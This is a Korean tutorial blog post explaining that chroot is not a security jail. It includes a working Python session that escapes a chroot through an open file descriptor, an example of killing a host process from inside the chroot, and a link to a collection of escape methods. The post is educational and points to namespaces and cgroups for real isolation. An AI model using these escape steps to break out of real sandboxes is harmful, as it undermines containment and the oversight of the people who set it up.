chroot 안전

3798 단어 dockerlinuxbash
, chroot 명령으로 시작된 새 프로세스에서 '외부' 파일 시스템을 분리합니다.

편리하지만 안전하지는 않습니다. 약간의 창의성으로 프로세스는 'chroot 감옥'을 깨뜨릴 수 있습니다.

파일 디스크립터를 통해 깨기



파일 설명자를 통해 중단하는 간단한 예from this kernel mailing list message가 있습니다.

chroot somewhere
mkdir foo
fd = open /
chroot foo
fchdir fd
chdir ".."
....
chdir ".."
chroot "."
so you are in root.



시도해 봅시다:

$ sudo debootstrap bionic customdebroot
...

$ sudo chroot customdebroot/ bash

# python3

>>> import os
>>> fd = os.open('/', os.O_RDONLY)
>>> os.mkdir('foo')
>>> os.chroot('foo')
>>> os.fchdir(fd)
>>>     
>>> os.chdir('..')
>>> os.chdir('..')
>>> os.chdir('..')
>>> os.chdir('..')
>>> os.chroot('.')
>>> os.mkdir('works')
>>> exit()

# exit

$ ls -1 /
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
swapfile
sys
tmp
usr
var
works

works 디렉토리는 시스템의 실제 파일 시스템 루트에 생성되었으며 chroot로 시작된 프로세스에서 생성되었습니다.

왜 그런 일이 발생합니까?



From Wikipedia :

The chroot mechanism is not intended to defend against intentional tampering by privileged (root) users. On most systems, chroot contexts do not stack properly and chrooted programs with sufficient privileges may perform a second chroot to break out.



From Linus Torvalds :

> So all chroot(2) really does is reset the "/" reference?

Yes. Literally. Everything else stays the same, including any open files (and cwd).

It's a "flaw" in chroot if you consider it a jail, but it's used for so much more than that.

(...)

Note that the most common use of chroot isn't actually the "jail" kind of usage, but building and installation environments (ie a lot of package building stuff end up using chroot as a way to create the "target environment").



더 많은 탈출 옵션



Balazs Bucsay는 이 GitHub 리포지토리에서 chroot를 이스케이프하는 다양한 접근 방식을 카탈로그화합니다. https://github.com/earthquake/chw00t

YouTube에서 그의 이야기도 확인해 볼 가치가 있습니다.

다른 리소스 보호


chroot는 파일 시스템을 적절하게 격리하지 않을 뿐만 아니라(위에서 설명한 것처럼) 마운트 지점 및 기타 프로세스와 같은 다른 리소스를 보호하는 데에도 방해가 되지 않습니다.

예를 들어, 아래에서 mousepad(텍스트 편집기)가 외부chroot에서 시작되고 내부에서 성공적으로 종료된 것을 볼 수 있습니다.

$ mousepad &
[1] 41196

$ sudo chroot customdebroot/ bash

# ps aux           
Error, do this: mount -t proc proc /proc

# mount -t proc proc /proc
# ps aux|grep mousepad
1000       41196  0.5  1.1 472356 44728 ?        Sl   15:37   0:00 mousepad
root       41232  0.0  0.0  11460   964 ?        S+   15:38   0:00 grep --color=auto mousepad

# sudo kill 41196


기타 프로세스 확인 숨기기namespaces 및 리소스 사용량 제한 확인control groups (cgroups) .

좋은 웹페이지 즐겨찾기